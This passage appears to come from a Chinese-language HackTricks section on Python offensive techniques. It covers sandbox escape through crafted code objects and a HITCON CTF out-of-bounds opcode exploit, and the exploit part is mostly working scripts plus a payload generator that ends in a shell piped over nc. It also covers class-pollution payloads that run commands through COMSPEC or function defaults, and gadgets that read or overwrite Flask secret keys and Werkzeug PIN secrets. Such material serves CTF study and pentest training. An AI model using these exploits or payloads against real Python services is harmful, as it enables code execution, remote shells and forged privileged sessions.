# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```

### **反汇编一个函数**

```python
import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE
```

请注意，如果您无法在Python沙箱中导入`dis`，您可以获取函数的**字节码**（`get_flag.func_code.co_code`），然后在本地**反汇编**它。您将无法看到加载的变量内容（`LOAD_CONST`），但可以从(`get_flag.func_code.co_consts`)猜测它们，因为`LOAD_CONST`还会告诉您加载的变量的偏移量。

```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE
```

## 编译 Python

现在，让我们想象一下，你可以**转储关于一个无法执行但你需要执行的函数的信息**。\
就像下面的例子，你**可以访问该函数的代码对象**，但仅仅通过阅读反汇编，你**不知道如何计算标志**（*想象一个更复杂的`calc_flag`函数*）。

```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```

### 创建代码对象

首先，我们需要知道**如何创建和执行一个代码对象**，这样我们就可以创建一个来执行我们的函数 leaked:

```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```

根据 Python 版本，`code_type` 的**参数**可能有**不同的顺序**。了解你正在运行的 Python 版本中参数的顺序的最佳方法是运行：

```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
```

### 重新创建一个泄霏的函数

{% hint style="warning" %}
在下面的示例中，我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在一个**真实的示例**中，执行函数\*\*`code_type`**所需的所有**值**就是**您需要泄霏的\*\*。
{% endhint %}

```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```

### 绕过防御

在本文开头的示例中，您可以看到如何使用`compile`函数执行任何Python代码。这很有趣，因为您可以使用一行代码执行整个脚本，包括循环等（我们也可以使用`exec`做同样的事情）。\
无论如何，有时在本地机器上创建一个编译对象并在CTF机器上执行它可能很有用（例如，因为我们在CTF中没有`compile`函数）。

例如，让我们手动编译和执行一个读取\_./poc.py\_文件的函数：

```python
#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```

```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```

如果您无法访问 `eval` 或 `exec`，您可以创建一个**适当的函数**，但直接调用它通常会失败，并显示：*constructor not accessible in restricted mode*。因此，您需要一个**不在受限环境中的函数来调用此函数**。

```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```

## 反编译编译的Python

使用类似[**https://www.decompiler.com/**](https://www.decompiler.com)的工具，可以对给定的编译后的Python代码进行**反编译**。

**查看这个教程**：

{% content-ref url="/pages/A725x1UZDCSx2vkavFKu" %}
[Decompile compiled python binaries (exe, elf) - Retreive from .pyc](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc)
{% endcontent-ref %}

## 杂项 Python

### 断言

使用参数`-O`对Python进行优化执行时，将会移除断言语句和任何基于**debug**值的条件代码。\
因此，像

```python
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```

将被绕过

## 参考资料

* <https://lbarman.ch/blog/pyjail/>
* <https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/>
* <https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/>
* <https://gynvael.coldwind.pl/n/python_sandbox_escape>
* <https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html>
* <https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# LOAD\_NAME / LOAD\_CONST opcode OOB Read

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

**此信息来源于** [**此篇文章**](https://blog.splitline.tw/hitcon-ctf-2022/)**。**

### TL;DR <a href="#tldr-2" id="tldr-2"></a>

我们可以利用 LOAD\_NAME / LOAD\_CONST 操作码中的 OOB 读取功能来获取内存中的某些符号。这意味着可以使用类似 `(a, b, c, ... 数百个符号 ..., __getattribute__) if [] else [].__getattribute__(...)` 的技巧来获取您想要的符号（如函数名）。

然后只需精心制作您的利用程序。

### 概述 <a href="#overview-1" id="overview-1"></a>

源代码非常简短，仅包含 4 行！

```python
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```

您可以输入任意Python代码，它将被编译为[Python代码对象](https://docs.python.org/3/c-api/code.html)。但是在评估该代码对象之前，该代码对象的`co_consts`和`co_names`将被替换为一个空元组。

因此，在这种情况下，所有包含常量（例如数字、字符串等）或名称（例如变量、函数）的表达式最终可能导致段错误。

### 越界读取 <a href="#out-of-bound-read" id="out-of-bound-read"></a>

段错误是如何发生的？

让我们从一个简单的例子开始，`[a, b, c]`可以编译成以下字节码。

```
1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345
```

但如果`co_names`变成空元组会怎么样？`LOAD_NAME 2`操作码仍然会被执行，并尝试从原本应该在的内存地址读取值。是的，这是一种越界读取的“特性”。

解决方案的核心概念很简单。CPython中的一些操作码，例如`LOAD_NAME`和`LOAD_CONST`，对越界读取存在漏洞。

它们从`consts`或`names`元组中的索引`oparg`中检索对象（这就是`co_consts`和`co_names`在底层的名称）。我们可以参考关于`LOAD_CONST`的以下简短片段，了解CPython在处理到`LOAD_CONST`操作码时的操作。

```c
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
```

通过这种方式，我们可以使用OOB功能从任意内存偏移获取一个“name”。要确保它的名称和偏移量是什么，只需不断尝试`LOAD_NAME 0`，`LOAD_NAME 1` ... `LOAD_NAME 99` ... 您可能会发现大约在oparg > 700时会找到一些内容。当然，您也可以尝试使用gdb查看内存布局，但我认为这样做可能不会更容易？

### 生成利用 <a href="#generating-the-exploit" id="generating-the-exploit"></a>

一旦我们检索到那些有用的名称/常量偏移，我们如何从该偏移获取一个名称/常量并使用它呢？这里有一个技巧：\
假设我们可以从偏移5（`LOAD_NAME 5`）中获取一个`__getattribute__`名称，且`co_names=()`，然后只需执行以下操作：

```python
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
```

> 注意，不必将其命名为`__getattribute__`，您可以将其命名为更短或更奇怪的名称

您可以通过查看其字节码来理解其背后的原因：

```python
0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314
```

注意`LOAD_ATTR`也从`co_names`中检索名称。如果名称相同，Python会从相同的偏移量加载名称，因此第二个`__getattribute__`仍然从偏移量=5加载。利用这个特性，我们可以在内存附近使用任意名称。

对于生成数字应该是微不足道的：

* 0: not \[\[]]
* 1: not \[]
* 2: (not \[]) + (not \[])
* ...

### 利用脚本 <a href="#exploit-script-1" id="exploit-script-1"></a>

由于长度限制，我没有使用常量。

首先，这里是一个用于查找这些名称偏移量的脚本。

```python
from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
```

以下内容用于生成真正的Python利用。

```python
import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
```

它基本上执行以下操作，对于我们从`__dir__`方法中获取的字符串：

```python
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家\[**NFTs**]收藏品，[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Class Pollution (Python's Prototype Pollution)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本示例

查看如何通过字符串污染对象的类：

```python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
```

## 基本漏洞示例

```python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```

## 示例

<details>

<summary>将类属性默认值设置为RCE（子进程）</summary>

\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

### Recursive merge function

for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }

recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()

print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"

### Create default value for Employee.custom\_command

merge(USER\_INPUT, recruiter\_emp)

print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"

````
</details>

<details>

<summary>通过<code>globals</code>污染其他类和全局变量</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
````

</details>

<details>

<summary>任意子进程执行</summary>

\`\`\`python import subprocess, json

class Employee: def **init**(self): pass

def merge(src, dst):

### Recursive merge function

for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

### Overwrite env var "COMSPEC" to execute a calc

USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER\_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

````
</details>

<details>

<summary>覆盖 <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`** 是所有函数的一个特殊属性，根据 Python [文档](https://docs.python.org/3/library/inspect.html) ，它是一个“映射任何**仅关键字**参数的默认值”。污染这个属性允许我们控制函数的仅关键字参数的默认值，这些参数是在 \* 或 \*args 之后出现的函数参数。
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
````

</details>

<details>

<summary>跨文件覆盖 Flask 密钥</summary>

因此，如果您可以对 Web 的主 Python 文件中定义的对象进行类污染，但**其类是在与主文件不同的文件中定义的**。因为为了访问前面的有效负载中的 \_\_globals\_\_，您需要访问对象的类或类的方法，您将能够**访问该文件中的全局变量，但无法访问主文件中的全局变量**。\
因此，您**将无法访问在主页中定义了密钥的 Flask 应用全局对象**：

```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```

在这种情况下，您需要一个小工具来遍历文件以访问全局对象 `app.secret_key`，从而更改Flask密钥并能够[**通过了解此密钥来提升权限**](/network-services-pentesting/pentesting-web/flask#flask-unsign)。

像这样的有效负载[来自此解决方案](https://ctftime.org/writeup/36082)：

```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```

使用此有效载荷来**更改 `app.secret_key`**（您的应用中的名称可能不同），以便能够签署新的和更多特权的 flask cookies。

</details>

还可以查看以下页面以获取更多只读小工具：

{% content-ref url="/pages/cUYy4tbIRtwbQ5KNZ6PA" %}
[Python Internal Read Gadgets](/generic-methodologies-and-resources/python/python-internal-read-gadgets)
{% endcontent-ref %}

## 参考资料

* <https://blog.abdulrah33m.com/prototype-pollution-in-python/>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Python Internal Read Gadgets

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>

## 基本信息

不同的漏洞，如[**Python格式字符串**](/generic-methodologies-and-resources/python/bypass-python-sandboxes#python-format-string)或[**类污染**](/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution)可能会允许您**读取Python内部数据，但不允许您执行代码**。因此，渗透测试人员需要充分利用这些读取权限来**获取敏感权限并升级漏洞**。

### Flask - 读取密钥

Flask应用程序的主页可能会有\*\*`app`**全局对象，其中配置了**密钥\*\*。

```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```

在这种情况下，可以使用任何小工具来从[绕过Python沙盒页面](/generic-methodologies-and-resources/python/bypass-python-sandboxes)访问全局对象来访问该对象。

在**漏洞存在于不同的Python文件中**的情况下，您需要一个小工具来遍历文件以找到主文件，以访问全局对象`app.secret_key`，从而更改Flask密钥并能够[**利用此密钥升级权限**](/network-services-pentesting/pentesting-web/flask#flask-unsign)。

像这样的有效负载[来自此解决方案](https://ctftime.org/writeup/36082):

{% code overflow="wrap" %}

```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```

{% endcode %}

使用此有效负载来**更改 `app.secret_key`**（您的应用程序中的名称可能不同），以便能够签署新的和更多特权的 flask cookies。

### Werkzeug - machine\_id 和 node uuid

[**使用此 writeup 中的有效负载**](https://vozec.fr/writeups/tweedle-dum-dee/)，您将能够访问 **machine\_id** 和 **uuid** 节点，这是您需要的**主要秘密**，以便[**生成 Werkzeug pin**](/network-services-pentesting/pentesting-web/werkzeug) ，您可以使用它来访问 `/console` 中的 python 控制台，如果**启用了调试模式**：

```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
```

{% hint style="warning" %}
请注意，您可以通过在网页中生成一些错误来获取`app.py`的**服务器本地路径**，这将**提供给您路径**。
{% endhint %}

如果漏洞存在于不同的Python文件中，请检查之前的Flask技巧，以访问主Python文件中的对象。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
